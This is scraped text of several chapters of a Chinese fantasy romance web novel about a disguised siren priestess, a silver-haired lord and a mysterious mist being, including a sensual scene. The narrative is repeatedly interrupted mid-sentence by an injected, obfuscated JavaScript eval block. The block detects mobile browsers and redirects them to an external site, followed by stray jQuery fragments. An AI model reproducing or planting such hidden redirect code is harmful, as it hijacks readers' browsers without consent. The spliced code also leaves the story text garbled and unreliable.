但米娅并没有得逞,男人的另一只手覆了上来,遮住她的视线,米娅只觉得眼前一黑,丝绸的触感落到了眼皮上。 这一只居然带了,她有些无语。 “躲什么?” 两人相对而立,男人更方便用手臂环住她的纤腰,将手放在她的腰后,摩挲着那一片诱人的滑腻。 米娅冷笑一声,反问道:“领主大人难道看不出来我是在生气么?” “生气?” 他好像真的没有看出来,也没有意识到。 这么一来,倒显得自己无理取闹了,米娅抬手覆盖在他的手背上,想要将他的手从自己的眼睛上拿下来。 纹丝不动,一个弱女子的力气果然不够用。 她放弃了,撇了撇嘴,“莱森来找我了,他说是领主大人您叫他来向我求婚的,您到底是怎么想的,您明明知道,我会拒绝他,为何还要鼓励他?” “不让他亲耳听到,他怎么能够死心。”原来是为了这件事,以利亚轻轻地笑了一下,她的怒容也与众不同,拨动着他沉寂的心,“你早该跟他说清楚了。” 米娅听出了其中的警告。 关于“不要再出现在莱森面前”这件事,自己从未做到过,有时她都感到疑惑,为什么他对这件事执念如此之深。 难道是嫉妒? 仔细一想,又不像,至少不是主要原因。 为了一探究竟,她决定再刺一刺他,“领主大人就不怕我答应他吗?” 反正在他心里,自己大概也不是什么正经女人,这么做,也不算很反常吧。 “你不会。”以利亚说得斩钉截铁。 米娅惊讶,“这么肯定?” 男人的手从礼服与纤腰之间的空隙伸了进去,沿着脊背一路向上,嘶啦一声,礼服脆弱的布料从背后最薄处裂开了一道口子。 这一身不太合身,尤其是腰那里,略粗了一点儿,所以他的手才能伸进去,可以再往上的地方,又没有空隙可言。 背后一凉,那道口子越来越大,一直延伸到肩膀处,上半身修身却单薄的布料摇摇欲坠。 米娅双手交叉捂在胸前,阻止了那一抹春光外泄,她想抱怨他毁掉了这件礼服,却听他在耳边说:“因为你在乎他,你知道如果你逞一时之气答应了他,只会伤他更深。” 米娅怔住。 看到她这副模样,以利亚就知道自己说对了。 一种少见的,连他也不知道是什么的情绪忽然翻涌上来,让他的脸色恢复了平时的冰冷,手掌却异常的火热。 他褪去了她身前最后的遮挡。 蕴含着风暴的眼睛看着她,沿着她微张的红唇一直向下,落到雪白的山峰之间。 他低下头,吻在山峰的中央,得到的反应是一阵轻颤。 “有没有人说过,你很像海妖?” 说这话时,米娅身上的礼服已经完全被褪去,男人的手还遮着她的眼睛,眼前的黑暗助长了来自肌肤的触觉,火热的温度仿佛要将她整个人都灼烧殆尽。 但理智和警惕从没有一刻离开过她,听到这句话,米娅勾起一个妩媚的笑,“很多人都说过。” 她的长发,她的眼睛,她的嘴唇,那么契合诗篇中的形象,让人浮想联翩。 可是他为什么会突然提起来,在这种时候。 米娅不得不警惕,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个时候,男人已经将手从她的眼睛上拿了下来,他也重新戴上了手套,米娅还是无从得知手套下的那双手究竟是什么样子。 “领主大人,在那之前,我可以去看她一眼吗?” 男人穿好了衣服,笔挺的衬衣扣到了最上面的一颗扣子,将那些暧昧的痕迹遮去,他疑惑地看向了她,清冷的脸上看不出半点儿欲望的痕迹。 “你不怕她?” 一个曾经差点儿杀死她的非人生物,在港口上见证了那一幕的人说起来仍然心有余悸,她这个亲历者,却想见她。 而且早不想见,晚不想见,偏偏这个时候。 “怕呀,怎么不怕。”米娅讨好地笑,“但我还是想见她,领主大人能不能准许我……” “不行。” 男人强硬地打断了她的话,甩开她的手臂,头也不回地离开了。 想到这里,米娅的脸冷了下来。 女仆走了进来,默默收拾起房间中的混乱。 米娅勾起脚尖,套上一条日常的长裙,光脚踩在毛毯上,“裁缝还在吗?” 女仆点点头道:“她在一楼休息。” 米娅眼中闪过狡黠的光,“请她上来吧,我想,我需要重新设计一款礼服的样式。” 26. 抉择(一) 第二日,皇室卫兵的舰船离开赫尔西岛之时,港口又聚集了一批看热闹的人。 领主府的骑士策马在码头附近来回奔跑,驱使着好奇的人群不断后退,直到码头空出了一大片空地,卫兵又钻了出来,每隔几步站一个卫兵,将人群牢牢锁在码头之外。 高大的船身上喷涂着布里斯帝国皇室的徽记,一朵巨大的紫荆花,叶片饱满美丽,仿佛象征了帝国的生命力。 舰船来时是由乌斯神官带队,离开之际,虽然乌斯不会随他们一起离开,仍是由他将卫兵以及他们押解的犯人送到舰船上。 三辆马车自领主府的方向驶来,每一辆上都挂有赫尔西家族的家徽,那条让人目眩神迷的衔尾蛇。 乌斯从打头的那辆马车上走了下来,与他同乘一辆马车的依然是莱森。 舰船到来之时以利亚都没有出面,他们离开之时,他也不会出面。 布里斯帝国的民众认为,正义是红色的,所以教会中的神职人员皆着红衣,只是红色的深浅不一,越深,则地位越崇高。 乌斯的这身红衣,就已经是暗红色了。 像凝固了的血的颜色,米娅站在人群之中想着。 斗篷遮住她的身形,宽大的遮阳帽挡住她的脸,赫尔西岛上的怪人一向不少,她这副打扮,引不起太多关注。 来自帝都的红衣神官,少见,但还不至于稀罕,码头上的人群都是来看海妖的。 人们翘首以待,看见后面的马车也下来了人,纷纷伸长了脖子。 苍白无神的眼睛,灰色的囚服,认命的表情,当卫兵押解着后面的人走到舰船之前时,人们纷纷露出了失望的表情。 不是海妖,是那三个害死凯勒和加里的犯人。 人有什么好稀奇的,况且这三个人,除了亚当·埃尔博长得凶恶一点儿,一个文质彬彬,一个风姿绰约,都没有凶犯的感觉。 在牢里关了这么些天,就是亚当·埃尔博,那也是霜打的茄子,看起来毫无威胁。 他们会怎么样? 谁知道,只看帝都那些大人物是怎么想的了。 不过早有消息流传出来,岛上的海妖猎人组织将被取缔,原因是自成立之后,他们每年耗费大量的财力,却一无所获。 由此来看,这三人最后没什么事也不一定。 这下,只剩了最后一辆马车。 海妖也只能在那辆马车上。 在众人的注目之中,马车门被打开,先下来的是押送的卫兵,每一个人都神情严肃,神经紧绷,看起来,押送海妖对他们来说实在不是一个轻松的工作。 事实也的确如此,米娅弯了弯嘴角,就算赫尔西家族的秘法能让尤妮失去力量,她的力气依然轻松能将这些人制服。 如果不是自己提前跟她打过招呼,表现得要更无害一点儿,她可不会乖乖听话。 只是如果她没那么听话,押送她的就不是普通的卫兵了,而是…… 米娅出神想着的时候,人群中爆发了一阵骚动。 海妖终于露出了她的真容。 那个阴沉的上午,她扇动羽翼,乌云将朝阳遮挡,人们只看到了海妖强大的力量和恐怖的羽翼与利爪。 但是现在,海妖那扇动风云的羽翼消失了,利爪也化为了小巧白嫩的手掌,被一根闪着白光的绳索绑在身前。 红色的长发随着她的动作晃来晃去,像柳条迎风摆动,红唇微微嘟着,神情有些不耐烦,如果忽略掉那双空洞无神又怪异的眼睛,看上去就是一个貌美的人类少女。 还真是……和传说既一样又不一样呢。 “真的是她吗,怎么看着这么……无害?和我想象的一点儿都不一样。” “肯定是,你们瞧她那双眼睛,错不了。” “这么看来,海妖和我们也没什么区别嘛,那还有必要捕杀她们吗?” “你们真是好了伤疤忘了疼,难道忘了那天她的样子了?” “……” 纷纷扰扰的声音如潮水汇入米娅的耳朵,米娅冷笑着退出人群。 恐惧来自于未知,想象会为怪异蒙上一层阴影。 曾经她也和这些人一样天真,以为是因为不够了解,人类才会想要捕杀海妖,她试图改变这一现状,结果当然是无用功。 贪婪才是真正的罪恶。 她慢悠悠地走在马路上,身后的人群仍在议论纷纷,而在人群的另一侧,海妖少女在士兵的看守下走入了船舱之中。 汽笛长鸣,舰船起航。 人群慢慢散去,三三两两自她身边走过,就像溪流汇入大海,淹没了她的踪影,但是暗中打量她的视线,始终牢牢锁定在她身上。 红棕色马车在她身旁停下,米娅回首望向马车中的人影,嘴角微弯,抬手将帽檐向下压。 舰船出港,不过片刻便消失在天际。 今日没有太阳,阴沉的天空挂满了乌云,似乎随时都会下雨。 冷风呼呼地吹,海水一浪高过一浪,不是个适宜行船的天气,但帝都多番催促,舰船也再耽搁不得了。 出了港口往东,在一片低矮的民居之中,五层楼高的领主府似一柄利剑矗立在大地上。 卡伦将乌斯神官送上回赛欧庄园的马车,自己则步行回到了领主府,沿着一层层台阶向上,来到领主府的顶楼。 这是存放岛上档案资料的地方,木箱、铁柜还有书架,分别有不同的作用,卡伦在书架中穿行,视线越过密密麻麻的书本,锁定了窗边的人。 他默默走过去,从这个窗口,正好可以将整个港口都装入眼底。 “我探过乌斯的口风了,他似乎对海妖捕杀令颇有微词,我怀疑上一个月暗中推动帝都舆论要求废除海妖捕杀令的人就是他。” 站在窗前的男人没说话,凉风从窗户灌进来,吹得书页哗啦作响,他银色的发丝却岿然不动。 卡伦习惯了他的沉默,又说:“如果真的是他的话,也许我们可以……” 一阵狂风在此刻袭来,打断了卡伦的话。 就算是在这样的天气下,这风也有些蹊跷,他不禁看向风的方向,但眼前只有被雾气笼罩的海面。 银发领主转身向楼下走去,“出事了。” 没过多久,秘密的讯息跨过海面传了回来,驶离西摩港的皇家舰船刚刚靠近无尽海边缘,就遭到了海妖的袭击,几近倾覆。 幸好最后及时稳住了舵,幸好船上装备了许多对付海妖的武器,这场仓促且意外的袭击没有造成太大伤亡。 但是有个坏消息—— “那只海妖不见了。” 听了下属的报告,银发领主面色一寒,昨夜的某个不起眼的消息又突兀地在脑海中浮现。 昨天下午,暂且借住在赛欧庄园的女人向他祈求见一面海妖不成,竟然找到了莱森,试图从莱森那里打听到海妖的消息。 可惜她还是失败了,因为莱森也不知道海妖的关押之处,但他色令智昏,瞧见女人失落的表情,就将今日舰船起航的时间及路线都说了出来。 不久之前港口人群中那道黑色的身影,他不会看错,即使她穿着披风,带了一顶宽大到将所有头发都藏进去的帽子,他还是认出了她。 银发领主从没放松过对女人的警惕,那一句“很像海妖”,既是事实,也是试探,而试探的结果,显然并没有让他满意。 ** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907816|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 下雨了。 雨水打湿了米娅的乌发,又从发尾滴落到昂贵柔软的地毯上,留下深色的水渍。 雨水同样浸湿了她的长裙,湿答答的裙子紧贴着皮肤,风一吹,勾起一阵难忍的凉意。 米娅将半开的车窗关紧,双手拢起发尾轻拧。 这雨下得又快又猛,狂风将雨点吹得到处乱舞。 她带了伞,也不可避免地被淋湿了,像个落汤鸡一样在街角屋檐下躲雨。 以利亚就是在这时出现的。 站在华丽的马车前,向她伸出了手。 雨幕模糊了他的表情,米娅晃了晃神,在理智反应过来之前,已经搭上了他的手,于是他稍一用力,就将她拉进了马车里。 她撞进了他的怀里,嗅到独属于他的冰冷气息,怔愣的脸色忽然一变,赶紧向后退去。 退了两步,又觉得不妥,于是勾起一个笑来,“多亏您来了,不然我都不知道该怎么回去。” 她不知道自己的笑有多勉强,以及那下意识的退后动作有多抗拒,以利亚的眼神愈发冷了,只是她还沉浸在雨天中,同样没有注意到。 直到一股熟悉的力量推着她往前走,迫使她来到了他的面前。 黑色的斗篷掉在地上,里面是一件淡黄色的连衣裙,裁剪适宜,将动人的曲线勾勒得淋漓尽致。 “你应该在庄园中。” 冷淡到让人怀疑他还是不是男人的神色,用冰冷的语调说着近乎审问的话,如果不是他的手已经扣住了自己的腰,米娅也被他骗了。 好会装模作样的男人。 米娅笑了笑,终于察觉到他的不满,并且立刻想明白了这不满来自于何处,“我想见一见那只伤了我的海妖,领主大人您不同意,我只能自己想办法了。” “见到了?” 米娅轻轻地点了点头,摆动柔软的腰肢,将身体的重量压到他身上,“远远地看了一眼,确实和我有点儿像,难怪你们总说我像海妖。” “只是这样?” 又是问句,当真是在审问,米娅素白的指尖点在他胸口,不满道:“领主大人这是什么意思,不这样我还能怎么办,难道杀了她为自己报仇,我可没这个力量。” 男人没说话了,扣住她的手腕,柔和的光从手套里面流淌出来,像水流一样,缠绕住她的手臂。 米娅知道这是什么,之前在监狱里就经历过一遭,他在试探她是不是海妖。 他果然还是怀疑了,看昨日自己的行为确实可疑。 不过,别说她现在喝了药水,根本不怕任何人查探,就是在以前,这力量也最多只会给她带来微不足道的痛感。 她是海妖一族的祭司,是能够聆听神谕的特殊存在,许多对付普通海妖有用的东西,在她身上都起不了作用。 光芒消失,米娅知道,她又一次打消了他的疑虑。 “你是没这个能力,可是你有能力从莱森那里打听出舰船的航线,你想做什么?” 米娅露出委屈的表情,“什么航线,我没有打听航线呀,那不是莱森大人自己说的吗?我只是想见一见海妖罢了。” 四目相对,她的眼神很真挚,真挚中又有点儿迷茫。 他不会挑出什么错处来,因为这就是事实。 “为什么一定要见海妖?” 他已经信了一半,面色稍有缓和,但语调依旧冷冽,简直比冬天的冰雪还冻人,就是再热烈的心,也会因此冷却。 米娅脸上的笑容渐渐消失,“领主大人又在审问我,为什么,我还想问为什么呢,难道我做了什么十恶不赦的事情吗,只不过远远看一眼海妖长什么样子,也成了过错?” 27. 抉择(二) “海妖逃走了。” 不知为何,看到她的这副模样,竟会让他感到一丝难堪,以利亚别过眼去,慢慢将这个消息道出。 “什么?” 米娅惊讶地叫出了声,美艳动人的脸上是毫不掩饰的诧异,不像是假的,她眼中闪过几分担忧,“怎么回事……” 话说到一半,她突然顿住,惊讶逐渐转变为了然,深蓝色眸子里升起怒气。 很像许多天前的场景,那时候,同样是在马车里,“我明白了,原来领主大人是觉得海妖逃走跟我有关,来兴师问罪的。” 她怒极反笑:“我都不知道自己什么时候有这能力了,竟然能从皇家士兵手中救走一只曾伤害我的海妖。” 她拿开腰间的手,起身走到车门处。 以利亚的声音在身后响起,依然是冷漠的,“你还没回答我的问题。” 米娅回头望了他一眼,“您自己猜去吧。”说完头也不回跳下了马车。 以利亚站在车厢中,一动不动地盯着车门处,表情有些怔忪,他刚才看见,她的眼中竟然含着泪光。 难道那泪光是因为我? 他抬起手掌,忽然意识到,他被那闪烁的泪光吸引了所有心神,竟然忘了阻止她离开。 一种近乎于狼狈的懊恼出现在他脸上,以利亚闭上眼睛,听到不远处的低声啜泣。 心烦意乱,以利亚也下了车。 雨似乎小了一些,但天气依然阴沉,风也依然呼啸,那婀娜的身影背对着他站在马路边上,听到身后的动静,身躯僵了一下,快步向前走去。 他的力量可以轻易令她动弹不得,但他终究没再这么做,冒着雨快步追了上去。 女人的步伐如何快得过他,近在咫尺之际,以利亚伸手去握她的胳膊,突然一阵大风刮过,不知从哪儿吹来一张一人高的红布。 湿润的红色像血泼洒于两人之间。 视线不过被遮蔽了一瞬,再抬眼时,女人消失了。 雨幕静止,风也停住。 以利亚放开施加于自身的限制,闭上眼睛,周遭的一切瞬间涌入他的脑海中,从路旁树洞中正在躲雨的小鸟到两条街区之外冒雨行走的路人,他能感知到他们的每一个动作。 没有,到处都没有,不是躲进了某个视线的死角,米娅就像不曾存在过一样,彻底消失了。 以利亚看向红布落下的位置,只有在那里,还残存着些许米娅的气息。 只是那抹似有若无的气息也正在变得越来越微弱,仿佛正在被吞噬。 原来如此。 以利亚睁开眼睛,鲜红色的光芒在眼底一闪而过。 他踩上那块委顿在地的红布,灰色的雾气从红布之中窜出来,又尖叫着缩了回去。 *** 米娅在一片虚无中下坠。 四周是灰蒙蒙的雾气,明明在下坠,却连一点儿风也没有。 上一瞬,她还在暴雨中奔跑,浑身湿漉漉的,看上去可怜又无助。 男人追在她身后,离她越来越近,一伸手就能抓住她。 也许她该放慢脚步,她的目的已经达到,可是这样的念头刚冒出来,脚下突然出现了一道裂缝。 她可以躲开,只要她恢复真身,扇动羽翼。 但有没有可能这是男人的又一次试探呢,她忍不住想,一瞬间的犹豫,挣扎就变成了徒劳,她坠入这片未知的空间。 雾气轻柔地托住她的背,试图减缓她下坠的速度,但同样是徒劳,不过坚持了片刻,雾气就被冲散。 下坠仍在继续,不久,背部传来一股灼热的气息,与此同时,雾气又凝聚成一双巨大的手掌,带着雷霆之势向她袭来。 那雾气—— 米娅双眸一凝,如果此刻她还认为是以利亚的试探,那她也白活这么多年了,那个男人骄傲自负,岂会为了区区一个她费这么大功夫? 雾气凝成的手掌被一对灰色的羽翼挡住,雾气散开,又凝成一个模糊的人形。 羽翼展开,米娅悬停在虚无的空中,凝视着眼前的雾气,在她的脚下不远处,赤红的岩浆翻滚冒泡,灼热由此而来。 “米娅,是我。”灰雾中传来一个飘渺的声音。 米娅愣了一下,扇动羽翼远离了那团灰雾,但防御戒备的姿态总算稍稍有所变化。 她听到过那个声音,就在今天。 以利亚有一点猜错了,这场突然的大雨和尤妮的逃走的确和海妖脱不了干系,不过不是她。 毕竟她现在还不能暴露。 这场雨起自无尽海边缘,是奥修斯岛中的海妖为了救尤妮而短暂地控制了天气,又因为无尽海和赫尔西岛离得近,赫尔西岛也不可避免地受了影响。 但是他还不知道的是,不是海妖们救了尤妮,而是有人放走了尤妮。 如果是海妖出手,那艘舰船上岂会没有伤亡,她的同族们,个个都对人类深恶痛绝,只是这一次,为了尤妮的安危,他们不得不与人类合作。 究竟是怎么一回事,还要回到一个小时之前。 那时,她离开了港口,一辆马车在无人处停在了她的面前,她登上了马车,车上的人并不是以利亚,尊贵的领主大人其时还在领主府中。 那人一身红衣,左手持书,右手持杖,正是红衣神官乌斯。 乌斯手杖一挥,在马车周围布下结界,确保他们的对话不会被第二个人听到,他开门见山,“米娅祭司,好久不见。” 米娅掀开车帘看向外面,一个酒鬼向马车走来,身体却完全穿过了马车,什么也没撞到,跌跌撞撞又走远了。 布里斯帝国的正义之神教会精通结界类术法。 米娅扬起下巴,在这个人面前,她没有伪装的必要,“在这里使用术法,你就不怕以利亚知道?上次的教训还不够?” 乌斯微笑道:“这不是神目,领主大人不会介意的。倒是您,在下没有想到,当您将奥修斯岛沉入海底之后,竟还会冒险来到赫尔西岛,这不是一个明智的选择。” “我为什么来,你们这些人应该最清楚了。”米娅斜睨了他一眼,对于这个人,她同样没什么好脸色,杀他倒是轻而易举,但是鉴于这些年来他一直反对海妖捕杀令,米娅倒也不会对他动手,“从那天第一次在岛上见面你就认出我了,居然忍到现在才摊牌,说吧,你有什么目的。” 乌斯静静地看着她。 七年前,他们第一次见面,那时海妖捕杀令还未下达,但是两边的关系已经趋于紧张,米娅向人类皇帝发出警告信,人类皇帝派他来与海妖谈判。 七年前的她与现在别无二致,一样的美艳绝伦,即使是在海妖之中,也拥有独一份的美丽。 然而自己却在这七年之中增添了许多忧愁,不管是脸上还是心上,再也找不回当初的意气风发。 时间果然是最无情的武器,他不是渡水者,无法像以利亚那样,维持一张年轻的面庞。 “我的目的从未变过,我想帮助你们。” “这个时候再说帮助是不是晚了些,七年前你就是这么说,结果呢,你认为我还会信你吗?”米娅笑了,美丽的眸子泛着冷光。 红衣神官叹息了一声,“个人的力量终究太过弱小,不足以对抗整个帝国的意志,您或许不知,在捕杀海妖这件事上,背后牵扯的利益有多庞大。” “我当然知道,否则,现在你不会还好好活着与我说话。”眸光流转,深蓝色的眸子褪去一半的颜色,米娅露出那双独属于海妖的眼睛,恨意从眼底倾泻而出,“十年前,你们偶然发现一只海妖的血可以暂时抑制渡水者的能力。真正的控制渡水者的办法,呵,甚至不能称之为控制,屠杀更合适吧,反正那些人能收集死亡的渡水者的神力为自己所用。这样一来,慢慢的,世界上所有的渡水者都变成了他们的奴隶。” “您竟然知道……”乌斯不禁睁大了眼睛,片刻的失态之后,又恢复了从容的姿态,“也是,如果不知道,您也就不会来到赫尔西岛了,以利亚赫尔西是个怪物,他拥有的力量没人说得清,而您的血,对渡水者来说是最有效的毒药,也只有您,才有可能成功。” “行了。”米娅眉眼间渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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天空之劫陨落神明无数,正义之神并非其中之一。 他的神罚,是人类最恐惧的事物之一。 这个承诺的分量可想而知。 这下米娅就是不信也得信了,她有些失神,“你们为什么一定要杀死他?” 值得吗? 冒这么大的风险。 乌斯闭上眼睛,挡住米娅探究的眼神,他有些纠结。 “不愿说就算了。” 仔细想想,她也不是非要知道,甚至不知为何心底有些抗拒知道。 乌斯松了一口气,紧接着,他又为两方的合作增添了一座基石,“为了表达我们的小小诚意,我已经示意船上的人,行驶到无尽海附近时,暗中释放那只海妖,我想您一定也安排了营救的人员,您或许可以告知他们。” 她是海妖一族的祭司,有一些普通海妖做不到的事情,比如,感知到其他海妖的位置,再比如,远隔重洋直接将简单的指令传送到她们的脑子里。 米娅发出了命令,要求准备营救尤妮的海妖暂且按兵不动,后来事情果如乌斯所说,不费吹灰之力,尤妮重新回到了无尽海中。 “我果然还是搞不懂,你们人类。” 确认尤妮安全之后,米娅准备离开。 这时,乌斯问了她一个问题,“据我所知,您已经与领主大人有了不寻常的关系,您的机会很多,为什么直到现在仍没有得手?” “首先,你的情报错了,我和他还没有到那一步。其次,神谕告诉我,想要实现我的目的,必须进入赫特高塔中。” 她曾经独自靠近过赫特高塔,毫不意外,作为以利亚的居住之所,那里充满了各种禁制,她的力量根本使不出来。 乌斯惊讶,“神谕?可是您所信奉的神祇已经失踪许久了……” 尾音消散在空气中,米娅转身,留给他一个背影。 从马车所处的位置,正好能够看见赫特高塔的塔尖。 目光沉沉地看了一会儿,米娅推开了车门,这场对话不在计划之内,耽搁得越久,越容易起疑,她也是时候回到现实中了。 “请您稍等。” 乌斯竟在此时叫住了她。 迎着她的目光,乌斯仿佛换了一个人,他缓缓道:“也许,该让你知道他必须死的理由了。” 米娅眉头微蹙,原来不是她的错觉,眼前的人连声音都变了,有另一个人,正在用他的身体与自己对话。 28. 抉择(三) 米娅试探着将手放进岩浆里,正如“灰雾”所言,她所感觉到的不是滚烫,而是一股奇异的温暖。 像泡在温度适宜的温泉里。 “它来自最初的陆地,受到所谓神祇的祝福,于你而言,不仅不会造成伤害,反而能够消除疲惫,治愈伤病。” 提到“神祇”时,他毫不掩饰轻蔑。 米娅没有接话。 按照以利亚的说法,他是来自混沌中的凶兽,可是在自己的认知里,混沌中的凶兽都是没有神智的。 他不仅拥有神智,而且比大多数人口齿清晰。 先前在马车上,他告诉她,赫尔西家族是天空之神伊瑟尔的后裔,伊瑟尔殁于两百年前的劫难,两百年来,赫尔西家族一直试图复活祂。 他还说,“天空之劫”是幸存下来的神明的说法,人类大都不明白,为什么大地崩裂的劫难却被称为“天空之劫”。 其实那是因为,正是天空之神的陨落,才造成了这场劫难 那是死亡时引发了大陆崩裂的神明,祂的复活,同样会再度引来世界的动荡。 现在,赫尔西家族已经接近成功了一半,以利亚就是那个承载神明意识的完美容器,甚至已经通过秘术掌握了伊瑟尔的一部分神力。 但这还远远不够。 通过海妖血控制渡水者,夺取渡水者身上的神力,也许能帮他们收集到足够的神力。 布里斯帝国皇帝被他们欺骗,发布海妖捕杀令,如今得知了真相,才又转头寻找海妖合作。 他似乎不能借用乌斯的身体太久,言简意赅说完这些,又沉寂了下去。 听完这些,米娅头也不回地离开了马车。 他的话真假难辨,她更说不上信或不信。 如果是真的,她不过是在杀以利亚的理由上又多加了一条罢了,如果是假的,同样不能阻止她的计划。 但她还是有些好奇此人的身份。 不过,他真的是人吗? 她不信他,也同样不信以利亚。 “那天袭击我和以利亚的,是你吗?” 灰雾说:“那是我的分身,我的本体被困在这个地方出不去,只能分出一部分力量去阻止他的阴谋,只是那些力量没有神智,只会一味地攻击仇敌,竟不小心伤了你。” “仇敌?难道是他将你关在这个地方的?不对,这里究竟是什么地方?”米娅又问。 灰雾轻蔑地哼了一声,“想关我,他还没这个本事,这里是……群岛之外的另一片空间,以后你会知道是哪里。” 他不想过多讨论自己的处境,他冒险将米娅拉进这片空间,显然有更重要的事情。 “米娅——”他低声呼唤着米娅的名字,压抑嗓音中的情绪过于浓烈,“两千年了,我终于又见到了你。” 不甘、悔恨以及掺杂在其中的复杂情意就像一杯烈酒,仅仅只是沾湿嘴唇,就令人头晕目眩。 米娅不禁后退,双脚踩进了岩浆中,她摇摇头,“我不认识你。” 他的声音对她来说无比陌生。 况且,她出生至今,也不过短短三十年而已,何来两千年一说? 灰雾遽然靠近,握住了她的手,切实的热度和触感从交叠的地方传来,在雾气的掩盖下,米娅终于能够确定,的的确确有一双手握住了她的手。 “放开我!” 她轻斥,雾气却如影随形,怎么也摆脱不了。 雾气涌了上来,作出拥抱的姿势环绕着她,又害怕她反抗,小心翼翼地与她保持着微妙的距离。 “我知道,你忘记了我们的关系,我可以慢慢等,等到你想起来的那一天。” “哦?那你倒是说说,我们是什么关系?” 米娅仰着头,僵直地站在原地,她被灰雾包围,似乎不管往哪边移动,都会撞进雾中,自从知道这灰雾是他的身体,触碰就变得诡异。 他看着她,虽然不能确定他的眼睛在何处,但米娅能感觉到他的视线,热烈又缠绵,让她感到很不舒服。 “你是我的妻子。”他声音笃定。 米娅笑出了声。 “呵,你是不是听到了我用来伪装人类身份的那番说辞,什么寻找丈夫之类的,故意这么说?拜托,那是假的,我根本没嫁过人好吧。” 她只觉得荒唐。 灰雾委屈地盯着她的脸,多么久违的笑颜,仿佛要将他的心都融化,可是一想到这样的笑容还要对着那个人绽放,他的心就一阵抽痛。 再想到从乌斯那里得来的消息,她竟然想靠那种方式接近那个人,心更是痛得无以复加。 不行,他决不允许! “我没有说谎。”灰雾深吸一口气,让自己冷静下来,“两千年前,你就是我的妻子,无耻的神容不下我们,在被追杀的过程中,你为了保护我而牺牲。这些年,我一直在想办法将你复活,没想到你竟已经转生成了……海妖,若不是那天我的分身吸了你的血,察觉到了你的存在,我恐怕还在做徒劳功。” 看着米娅不信的眼神,他又说:“对了,有一件事,或许会令你相信我,那天之后,你一定闪现过某些前世的画面。” 灰雾渐渐凝实,一道高大的身影从雾中走出,“在那些画面里,想必有这张面孔。” 米娅的脸慢慢沉了下来,的确,她的眼前是闪过了一些画面,棕榈树,里拉琴,还有男人的侧脸。 如今,那张脸又再次出现,完美无缺,如太阳般耀眼,唯一不同的是,那些画面中的男人低垂着眼,手指拨动琴弦,优雅高贵,而眼前的人阴郁偏执,仿佛盛怒的风暴。 “你……那是你……” 米娅犹疑不定,这些画面,她没有告诉过任何人,他怎么会知道,难道他说的都是真的? 她喜欢不经意间提及自己“死去”的丈夫,以此激起同情或是嫉妒,可是到了她发现自己真可能有个前世的丈夫时,她发现这种感觉一点儿也不好受。 她是米娅,是海妖一族的祭司,才不是他口中那个穷途末路最后丧命的可怜女人。 米娅的眼神也冷了下来,“就算你没有说谎,我也不是她。” 虽然语气坚定,但也透露出她的动摇,她开始相信他说的话了。 他满意地笑了笑,躯体又散成雾气,米娅否认前世,他毫不意外,因为以前的她也会有同样的反应,“我明白。” 他什么都不明白! 不知为何,米娅有些生气,怒火升腾而起,手痒痒的,很想揍他,就像曾经这么做过无数次一样。 这个念头刚冒出来,她就悚然一惊。 再也顾不上别的,展开双翼,向后飞去。 灰雾不紧不慢地跟了上来,仿佛在享受这场追逐,“我暂时还不能从这个地方出去,你要是想见我,就去找乌斯。” 他顿了顿,不满道:“但是别跟他说太多话,他一个低贱的人类,竟敢觊觎你,等我出去了,一定要把他的眼珠子挖出来。” 米娅回身瞪他,“你敢!” “好好好,我不动他,但是你不能听他的,那个什么以利亚,我会想办法杀了他,你不要用那种方式接近他。” “不用你管!”米娅更愤怒了。 灰雾很委屈,“可是,你是我的妻子呀,没有丈夫会希望妻子接近别的男人的。” 他的话听起来很深情,米娅却忍不住打了个寒颤,她停下来,美目怒视灰雾,“我再说一遍,我不是,以及,我要做什么,你管不着。” “可是……”灰雾一顿,米娅看见他似乎做了个抬头的动作,“该死……来得这么快。” 米娅心头一动,“……什么?” 她隐隐有个猜想。 “以利亚·赫尔西来了。”灰雾咬牙切齿,说到一半又有些惆怅,“他不应该进来得这么快,看来他真的很在乎你。” 米娅扯了扯嘴角,“那不过是他的骄傲不允许一个大活人在他面前消失罢了。” 灰雾看了她一眼,俯冲而下,一头钻进了岩浆里,片刻后,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918305|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从岩浆中冒出一颗没有面孔的脑袋,“你小心些。” 说完消失在了看似滚烫的岩浆下。 米娅愕然,刚刚他不是还对以利亚很是蔑视吗,刚刚他不是大言不惭会想办法杀了以利亚吗,怎么人来了,他反而跑了? 果然男人的话不可信。 米娅闭上双眸,将所有海妖的特征隐去。 她又变成了一个普通人类,没有力量,没有羽翼,似一只断了线的风筝,向下坠落。 直到一双手接住了她。 她睁开眼睛,水润的深蓝色眼眸盯着望不到尽头的远方,有些失神,原来,她已经很熟悉那双手的温度。 她转头,看向来人的脸,来人也正凝视着她。 他的眼神太过复杂,她不想看懂。 